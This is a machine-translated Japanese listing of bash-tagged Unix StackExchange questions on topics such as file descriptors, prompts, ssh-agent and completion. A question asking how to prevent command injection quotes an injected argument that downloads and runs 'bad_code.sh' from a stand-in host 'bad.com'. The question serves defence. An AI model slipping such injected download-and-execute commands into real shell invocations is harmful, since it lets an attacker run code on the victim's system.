タグ付けされた質問 「bash」

他のBourne / POSIXシェルとは対照的に、GNUのBourne Again SHellに固有の質問。Unixシェル全般に関する質問については、代わりに/ shellタグを使用してください。

1
exec 3 <&1は何をしますか?
exec現在のシェルでI / Oリダイレクションを実行できることは理解していますが、次のような使用方法しか見ていません。 exec 6&lt;&amp;0 # Link file descriptor #6 with stdin. # Saves stdin. exec 6&gt;&amp;1 # Link file descriptor #6 with stdout. # Saves stdout. それから、私はそれ&lt;が入力ストリーム用で&gt;あり、出力ストリーム用であることを理解しています。それではどうしexec 3&lt;&amp;1ますか? PS:Batsのソースコードからこれを見つけました


3
行の長さの計算を中断せずにBashのPS1にコマンドを含める方法
Tonin は、デフォルトのプロンプトでバグを指摘しました。最小限の例: PS1を設定します。 PS1='$(exit_code=$?; [[ $exit_code -eq 0 ]] || printf %s $(tput setaf 1) $exit_code $(tput sgr0) " ")$ ' この時点で、プロンプトは次のようになります。 $ 次を実行して、終了コードの出力をトリガーします。 false これで、プロンプトの行頭に赤の終了コードが含まれます。 1 $ Ctrl-を押しrます。 「false」と入力します。これで、プロンプトには検索のみが含まれます。 (reverse-i-search)`false': false を押しEnterます。 結果の端末履歴には、次が含まれます。 1 $ch)`false': false 期待される出力: 1 $ false つまり、履歴検索の出力がプロンプトと混合され、実行された実際のコマンドが隠されているようです。 私はこれを回避するために使用してみましたPROMPT_COMMAND: set_exit_code() { exit_code=$? [[ $exit_code -eq 0 …
13 bash  prompt 

4
シェル組み込みを明示的に呼び出す方法は?
cd必要に応じてコマンドの機能をカスタマイズしたい。 私は次の関数を定義しました- function cd () { cd "$@" &amp;&amp; pushd "$@"; } この関数の目的は、ディレクトリをスタックに自動的にプッシュすることです。これにより、pushd .毎回手動で入力する手間が省けます。 ただし、上記の関数は、呼び出しcdがcd組み込み関数ではなく関数自体であると解釈されるため、無限再帰関数です。 cdこの関数の組み込みを参照するにはどうすればよいですか? エイリアスはを使用してエスケープできることを知っています\。より明示的な方法で関数をエスケープしたり、組み込み関数を参照する方法は何ですか? 注:関数の名前を他の名前に変更したくありません。

2
bashスクリプトの正規表現
これは初めてのbashスクリプトなので、たぶん簡単な間違いを犯しているでしょう。 基本的に、ユーザーのグループを取得するスクリプトを作成しようとしています。特定のグループに属している場合、それに応じてログに記録します。明らかに、より多くの機能がありますが、正規表現を動作させることさえできないとき、それを構築する意味はありません! これまでのところ、私はこれを持っています: #!/bin/bash regex="^([a-zA-Z0-9\-_]+ : [a-zA-Z0-9\-_]+) (usergroup)$" # example output groups="username : username usergroup" echo "$groups" &gt;&gt; /home/jrdn/log if [[ "$groups" =~ $regex ]]; then echo "Match!" &gt;&gt; /home/jrdn/log else echo "No match" &gt;&gt; /home/jrdn/log fi 私がその正規表現を試したすべての場所、それは動作します。しかし、bashスクリプトでは$groups、が出力された後にのみが出力されNo matchます。だから誰かが私に何が悪いのか教えてもらえますか?

4
オートコンプリートの最新ファイル
ファイル名が作成時のタイムスタンプに基づいているテキストファイルを作成するプロセスがあります。 $ ls 1378971222.txt 1378971254.txt 1378971482.txt 1378971488.txt 1378972089.txt 1378972140.txt 1378972141.txt 1378972153.txt 1378972155.txt 1378972241.txt 最後に作成されたファイル、つまり最新のmtimeを持つファイルのファイル名を自動補完するにはどうすればよいですか?ファイル名のほとんどすべての文字が別のファイルと共有されるため、これらのファイルにタブ補完を使用する方法はありません。ショートカット(Alt .最後のコマンドの最後の引数を自動補完するショートカットなど)を見つけたいと思っています。私はのために素晴らしいです、次の別名をでっち上げるために管理しているVIMが、私は、汎用のショートカットは、私が使うことができることが存在するかどうかを知るのが大好きだkde-open、sqlite3と、他のアプリケーション。 alias lastest="vim `ls -t | grep -vE "^total [0-9]*$" | head -n1`"

4
`diff -q`の反対を取得できます—内容を印刷せずに同一のファイルを一致させます
ディレクトリに多数のファイルがあり、それらがすべて一意であることを確認したい。簡単にするために、3つのファイルfoo.txtがあるbar.txtとしbaz.txtます。このループを実行すると、それらすべてを互いにチェックします。 $ for f in ./*; do for i in ./*; do diff -q "$f" "$i"; done; done Files bar.txt and baz.txt differ Files bar.txt and foo.txt differ Files baz.txt and bar.txt differ Files baz.txt and foo.txt differ Files foo.txt and bar.txt differ Files foo.txt and baz.txt differ 私が処理したい数百のファイルでは、これはかなり読みにくくなります。ファイル一覧表示する方が良いだろうやる試合をして、私はすぐにリストの上に見て、ファイルは自分自身だけに一致していることを確認することができます。マンページから、私は-sオプションがこれを達成すると思っていたでしょう: $ …
13 bash  diff 

4
ssh-agentがセットアップされない(SSH_AUTH_SOCK、SSH_AGENT_PID環境変数が設定されていない)
Kubuntu 12.04で友人の新しいユーザーアカウントを設定しました。彼が使用するとき、ssh彼はこのエラーを受け取ります: 認証エージェントへの接続を開けませんでした sshいくつかのbashスクリプトで実行しています。 そのエラーにつながる可能性のあるさまざまなものを見て回った後、私はこの解決策に出会いました: $ eval `ssh-agent -s` $ ssh-add ~/.ssh/some_id_rsa その後ssh、期待どおりにコマンド(およびbashスクリプト)を実行できます。 これらの2つのコマンドを実行する前に、env変数は端末に設定されていません。 $ echo $SSH_AGENT_PID $ echo $SSH_AUTH_SOCK $ コマンドを実行した後、環境変数は期待どおりに設定されます。ただし、それらは設定されたままではありません(たとえば、別のシェルで、または再起動後)。 env変数を設定するためにこれらの2つのコマンドを実行する必要がないように、コンピューターをセットアップする方法を知りたいです。私は自分のコンピューターでそれらを実行する必要はありません(決して)。これまでのところ、私たちのマシンの違いはわかりません。 この情報はマニュアルページにありますが、Ubuntuがエージェントを自動的にセットアップする方法や、友人のマシンで何が起こっているのかがわかりません。 エージェントをセットアップするには、主に2つの方法があります。1つ目は、ssh-agent xterm&など、環境変数がエクスポートされる新しいサブコマンドをエージェントが開始することです。2番目は、エージェントが必要なシェルコマンド(sh(1)またはcsh(1)のいずれかの構文を生成可能)を出力することです。これはssh-agent -s、sh(1)などのBourneタイプのシェルのeval ssh-agent -ccsh(1)および派生物のためのksh(1)およびeval 。 インストールacctと再起動後、これは次の出力になりますlastcomm。 ssh-agent F newuser __ 0.12 secs Wed Aug 7 11:02 ssh-agent F newuser __ 0.00 secs Wed Aug 7 …
13 bash  ssh  kubuntu  ssh-agent 

3
コマンドオプションを使用してコマンドインジェクションを防ぐ方法
シミュレーターに渡すカスタムオプションをユーザーが指定できるようにする必要があるラッパーアプリケーションがあります。ただし、ユーザーがユーザーオプションを使用して他のコマンドを挿入しないようにします。これを達成する最良の方法は何ですか? 例えば。 ユーザーが提供するもの: -a -b アプリケーションの実行: mysim --preset_opt -a -b しかし、私はこれが起こることを望まない: ユーザーが提供するもの: &amp;&amp; wget http:\\bad.com\bad_code.sh &amp;&amp; .\bad_code.sh アプリケーションの実行: mysim --preset_opt &amp;&amp; wget http:\\bad.com\bad_code.sh &amp;&amp; .\bad_code.sh 現在、ユーザーが提供したすべてのオプションを単一引用符で囲み、ユーザーが提供した単一引用符'を取り除くだけで、最後の例のコマンドが無害になることができると考えています: mysim -preset_opt '&amp;&amp;' 'wget' 'http:\\bad.com\bad_code.sh' '&amp;&amp;' '.\bad_code.sh' 注:mysimコマンドは、docker / lxcコンテナー内のシェルスクリプトの一部として実行されます。Ubuntuを実行しています。

2
Trapコマンドを使用してエラーをトリガーする方法
Ubuntu 12.04.2を使用しています。「トラップ」コマンドを使用してシェルスクリプトの異常またはエラーをキャプチャしようとしていますが、「エラー」終了を手動でトリガーしようとしています。 exit 1を試しましたが、「エラー」信号はトリガーされません。 #!/bin/bash func() { exit 1 } trap "echo hi" INT TERM ERR func 「エラー」終了信号を手動でトリガーする方法がわからない場合

1
現在のbashコマンドラインの引数全体を削除する
使用^W(UNIXワードラブアウト)私は簡単に私のbashシェルで、現在のコマンドからのシングル「言葉」を削除することができます。 ただし、スペースを含む引用符付き引数(またはバックスラッシュでエスケープされたスペースを含む引用符なし引数)を処理する場合、引数全体ではなく1つの単語のみを削除するため、うまく機能しません。 だから、私は引数全体を削除する方法を探しています。 例(カーソルは常に最後にあります): $ foo --bar "foo bar" meow [black magic] $ foo --bar "foo bar" [black magic] $ foo --bar [black magic] $ foo
13 bash  readline  inputrc 

4
$ {!FOO}およびzsh
${!FOO}で二重置換を実行しますbash。つまり、FOOの(文字列)値を取得し、変数名として使用します。 zshこの機能をサポートしていません。 この作業をbashandで同じにする方法はありzshますか? バックグラウンド: 次のような環境変数のリストがあります PATH MAIL EDITOR そして、最初に変数名を出力し、その後それらの値を出力したい。 これは動作しますbashが、動作しませんzsh: for VAR in LIST do echo $VAR echo ${!VAR} done それは何とか「古い方法」で可能になるはずですがeval、私はそれを動作させることができません: for VAR in LIST do echo $VAR echo `eval \$$VAR` done 必要な${${VAR}}場合でも${${${VAR}}}必要な場合でも、単純に任意の深い置換を実行できない理由を理解することは決してないので、そのための説明もいいでしょう。


2
バッシュでローカル変数をインクリメントする方法は?
データ 1 \begin{document} 3 コード #!/bin/bash function getStart { local START="$(awk '/begin\{document\}/{ print NR; exit }' data.tex)" echo $START } START2=$(getStart) echo $START2 戻ります2が欲しいです3。私はbashスクリプトに数値を追加するにはどうすればよいかについてのこの答えによって失敗に終わりました: START2=$((getStart+1)) Bashスクリプトでローカル変数をインクリメントするにはどうすればよいですか?

1
bashタブ補完は、「〜」を「/ home / ___」に展開します
以前は、と入力すると~/biTab、に変わり~/binます。しかし、今日ではに変わり始め~/biTabました/home/username/bin。 前者にしたいのですが、何が起こったのかわかりません... bashの完了を編集するスクリプトを追加しましたが、それを削除~./bashrcしてサーバーを再起動しました。 誰がこれが起こる原因を知っていますか?または、元に戻すにはどうすればよいですか? 編集 だから私はこれを引き起こすかもしれないものを見つけました...それが関係していること、/etc/bash_completionそしてそのようなもの。するとbind -v、チルダの展開がオフになります。 したがって、これを編集すると(ハッキングのようなもの)消えると思います。しかし、それは本当に何も満足していません-この変化はそもそもどうして起こったのでしょうか?として何も実行したことはなくsudo、複数回シャットダウンして再起動した後もこの動作は続きます。

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.